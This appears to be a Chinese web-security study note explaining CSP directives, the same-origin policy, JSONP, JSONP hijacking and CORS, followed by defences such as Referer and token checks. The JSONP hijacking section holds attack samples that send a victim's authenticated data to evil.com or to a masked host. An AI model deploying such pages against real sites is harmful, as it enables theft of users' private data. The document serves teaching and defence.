内容安全策略(Content-Security-Policy,CSP)
CSP是…
CSP的实质就是白名单策略,预先设定好哪些资源能被加载执行而哪些不能。除了普通的CSP还有个CSPRO(Content-Security-Policy-Report-Only),区别是后者不限制执行,而是记录违反限制的行为,需要与report-uri
一起使用。
CSP由浏览器完成实现,配置的方法一是HTTP头Content-Security-Policy
(优先级高),二是HTML的<meta>
标签:
示例
Content-Security-Policy: default-src 'self' //只允许同源资源
<meta http-equiv="content-security-policy" content="script-src 'self'; object-src 'none'; style-src 1.com 2.cn; child-src https:">
- 脚本:只信任当前域名
- 样式表:只信任http://1.com和http://2.cn
- 框架(frame):必须使用HTTPS协议加载
- 其他资源没有限制
指令 | 示例 | 说明 |
---|---|---|
default-src | ‘self’ cdn.example.com | 定义资源默认加载策略 |
script-src | ‘self’ js.example.com | 定义 JS 的加载策略 |
img-src | ‘self’ img.example.com | 定义图片的加载策略 |
style-src | ‘self’ css.example.com | 定义样式表的加载策略 |
font-src | font.example.com | 定义字体的加载策略、 |
object-src | ‘self’ | 定义引用资源的加载策略,如 <object> <embed> <applet>等 |
media-src | media.example.com | 定义音频和视频的加载策略,如 HTML5 中的 <audio> <video> |
connect-src | ‘self’ | 定义 Ajax、WebSocket 等的加载策略 |
frame-src | ‘self’ | 定义 frame 的加载策略,不赞成使用,改用 child-src |
CSP绕过
上传点/302重定向/预加载/JSONP跨域(下文会讲到)/等,已经被总结得比较完善了,贴师傅们的链接吧:
同源
同源:域名(主机名或者IP地址)、端口、协议相同,不同客户端脚本(JavaScript、ActionScript)未授权时不能读取对方的资源。
在IE中两个高度互信的域名不受同源策略的限制,端口号不属于同源。
HTTP头中的ACCESS-CONTROL-ALLOW-ORIGIN
ACCESS-CONTROL-ALLOW-ORIGIN:http://0sec.com.cn 允许特定源访问
ACCESS-CONTROL-ALLOW-ORIGIN:* 允许所有域名脚本访问
跨域请求
JSONP(JSON with Padding)
JSON是一种数据格式,而JSONP是一种跨域数据交互协议。
AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),ajax直接请求无法跨域(可以通过服务端代理实现),调用js则可以跨域,那么想通过纯web端跨域请求数据,就需要js格式的文件,而JSON被js原生支持。客户端调用服务端动态生成的JSON,再进行下一步处理等等。
JSONP在此基础上,协议允许用户传递一个callback回调函数给服务端,服务端会将数据以参数形式返回请求的数据:
<script type="text/javascript">
// 得到航班信息查询结果后的回调函数
var flightHandler = function(data){
alert('你查询的航班结果是:票价 ' + data.price + ' 元,' + '余票 ' + data.tickets + ' 张。');
};
// 提供jsonp服务的url地址(不管是什么类型的地址,最终生成的返回值都是一段javascript代码)
var url = "http://flightQuery.com/jsonp/flightResult.aspx?code=CA1998&callback=flightHandler";
// 创建script标签,设置其属性
var script = document.createElement('script');
script.setAttribute('src', url);
// 把script标签加入head,此时调用开始
document.getElementsByTagName('head')[0].appendChild(script);
</script>
callback参数告诉服务器,我的本地回调函数叫做flightHandler,所以请把查询结果传入这个函数中进行调用。
ajax和jsonp目的都是请求一个url然后处理返回的数据,jQuery把jsonp作为ajax的一种形式进行了封装,但两者本质是不同的东西:
ajax的核心是通过XmlHttpRequest获取非本页内容,而jsonp的核心则是动态添加
<script>
标签来调用服务器提供的js脚本。
ajax也可以跨域,jsonp也可以同域,两者的区别不在是否跨域。而jsonp也不一定非要传递json格式的数据。
JSONP只支持get请求。
JSONP Hijacking(jsonp劫持)
简单地说,JSONP是一种跨域数据获取的方式,核心就是用callback回调函数传递数据,前端定义的函数在后端完成调用然后回到前端执行。
攻击样例:
<html>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<script type="text/javascript">
function hijack(result) {
var data = '';
for(var i in result) {
data += i + ':' + result[i];
}
new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data);//把数据发送到攻击者服务器上
}
</script>
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script>
</html>
代码很直观,用户在带有身份认证信息时访问页面,触发回调函数,将获取的数据传递到evil服务器上,这个流程也就完全符合了CSRF的攻击原理,因此也将这种JSONP的劫持归为CSRF的一种。
又比如:
<script>
var xmlhttp;
function jsonppp(a)
{
xmlhttp=new XMLHttpRequest()
var x="http://***.***.***/json.php?name="+a.data.name;
xmlhttp.open("GET", x, true);
xmlhttp.send();
}
</script>
<script src=http://***.***.***?callback=jsonppp></script>
代码都是大同小异,原理也比较简单,但是在防御上还是有一些值得注意的地方:
防御且防止绕过
校验Referer,验证数据调用来源
思路很直观,但是在实际校验时容易出现问题,攻击者可以构造子域名的URL来绕过正则的校验;或者,当跨协议调用js时,http请求中的Referer是空的,这一点很容易被遗漏。此外,XSS漏洞也可能导致空Referer。
增加Token验证
- 要保证Token的复杂性,防止被爆破;
- Token如果作为GET请求的参数,很容易在Referer中泄露;
- 结合同域下的XSS漏洞可能获取到Token。
CORS(Cross-origin resource sharing)
CORS由浏览器自动完成,在开发时与AJAX代码完全一样。只要服务器支持CORS就可以实现。浏览器一旦发现AJAX请求跨源,会添加额外的HTTP头。
CORS请求分为简单请求和非简单请求,简单请求的条件是:
(1) 请求方法是以下三种方法之一:
HEAD
GET
POST
(2)HTTP的头信息不超出以下几种字段:
Accept
Accept-Language
Content-Language
Last-Event-ID
Content-Type:只限于三个值application/x-www-form-urlencoded、multipart/form-data、text/plain
对于简单请求,浏览器增加一个Origin
的头就直接发出,标明请求的来自哪个源。非简单请求则会在正式通信前发送一个“预检”请求,请求方法为OPTIONS,增加了两个请求头;浏览器确认允许跨源后,回应中多增加四个响应头,之后的CORS请求就类似简单请求了。
CORS支持所有类型的HTTP请求。
参考链接:
https://www.cnblogs.com/dowinning/archive/2012/04/19/json-jsonp-jquery.html